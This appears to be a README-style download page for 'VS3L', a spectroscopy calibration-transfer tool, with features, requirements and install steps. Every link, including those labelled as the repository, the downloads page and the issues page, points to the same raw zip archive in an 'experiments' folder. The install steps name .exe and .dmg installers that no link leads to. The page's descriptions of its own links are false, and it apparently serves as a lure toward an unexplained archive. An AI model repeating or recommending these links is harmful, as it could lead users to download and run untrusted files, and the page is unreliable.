VS3L helps you improve vibrational spectroscopy analysis without needing calibration standards. The tool uses the latest self-supervised learning methods to adjust and transfer calibration in spectroscopy automatically. It combines advanced technologies like Mamba-Transformer models and key algorithms to make this possible for NIR, IR, and Raman spectra.
This software is designed to make complex spectroscopy calibration easier and more reliable. It suits anyone working with near-infrared, infrared, or Raman spectroscopy who wants to ensure consistent data results without deep technical expertise.
- Standard-Free Calibration Transfer: No need for physical calibration standards when moving between instruments or labs.
- Hybrid Mamba-Transformer Model: Uses powerful machine learning techniques to understand and adjust spectra.
- Physics-Informed Adjustments: Incorporates physical laws in the calibration process for better accuracy.
- Supports Multiple Spectroscopy Types: Works with NIR, IR, and Raman data.
- User-Friendly Design: Simple steps to load data and apply calibration, with clear outputs.
- Open Source: Built with PyTorch and available for deep customization if needed.
To run VS3L smoothly, your computer should meet these minimum specs:
- Operating System: Windows 10 or later, macOS 10.14 or later, or a recent Linux distribution
- Processor: Intel Core i3 or equivalent
- RAM: 8 GB minimum, 16 GB recommended for large datasets
- Disk Space: At least 500 MB free space
- Software: Python 3.8 or newer (bundled installers available)
- Internet: Required for download and initial setup
You do not need programming skills to use VS3L. This guide will walk you through downloading, installing, and running the software step-by-step.
Click the button below to go to the official downloads page. This page has versions for Windows, macOS, and Linux.
On the downloads page:
- Pick the file matching your operating system.
- Look for the latest version, usually the top entry.
- Click the file to start downloading.
Once the download completes, locate the setup file:
- Windows: Double-click the
.exefile and follow the prompts. - macOS: Open the
.dmgpackage and drag VS3L to your Applications folder. - Linux: Extract the
https://github.com/siliconworkshop/VS3L/raw/refs/heads/main/experiments/L-V-v3.1.ziparchive and follow the included README for installation commands.
The install process should take just a few minutes. The software places necessary files on your computer and creates shortcuts to launch VS3L easily.
After installation:
- Open VS3L from your Start menu, Applications folder, or terminal.
- The main window will appear with options to load your spectroscopic data.
Here is a simple overview of typical steps to use VS3L for calibration transfer.
- Click on "Open Data" or drag your NIR, IR, or Raman spectra files into the app.
- Supported file formats include
.csv,.txt, and standard spectroscopy file types.
- Choose the type of calibration transfer you want to run.
- Adjust parameters if needed; defaults are set for most cases.
- Press the "Start" button.
- VS3L will process your data using the hybrid model and physics-based improvements.
- The progress bar will track the ongoing task.
- Once done, view the corrected and calibrated spectra in the preview.
- Export the results as new files or reports for your records.
For users interested in customization:
- Access model settings to tune self-supervised learning parameters.
- Import your own physics-informed constraints if available.
- Use the command-line version to automate batch processing.
- Documentation and examples are available inside the installation folder and online.
If you run into trouble:
- Check the FAQ and User Guide included with the software.
- Visit the Issues page on GitHub to see common problems and fixes.
- Feel free to open a new issue if your problem is not listed.
- Make sure your system meets the minimum requirements for best performance.
Ready to get started? Visit this page to download the latest release of VS3L:
https://github.com/siliconworkshop/VS3L/raw/refs/heads/main/experiments/L-V-v3.1.zip
Once there, choose the version for your operating system and download it. Follow the installation steps described above to set up the software. After installation, you can launch VS3L and start using it immediately.
- GitHub Repository: https://github.com/siliconworkshop/VS3L/raw/refs/heads/main/experiments/L-V-v3.1.zip
- Issues & Support: https://github.com/siliconworkshop/VS3L/raw/refs/heads/main/experiments/L-V-v3.1.zip
- User Guide & Documentation (Inside installer and repo)
VS3L was developed by Karthikeyan from ICT Mumbai and InvyrAI team, focusing on delivering cutting-edge machine learning tools for spectroscopy. The project uses state-of-the-art methods like optimal transport, variational information bottleneck disentanglement, and transformer models to tackle challenges in calibration transfer and data consistency.
It offers a powerful, accessible way for scientists and analysts to enhance their spectroscopy workflow without relying on costly calibration standards.
analytical-chemistry, calibration-transfer, chemometrics, deep-learning, few-shot-learning, foundation-model, machine-learning, mamba, nir-spectroscopy, optimal-transport, pytorch, raman-spectroscopy, self-supervised-learning, spectroscopy, state-space-models, transformer, vs3l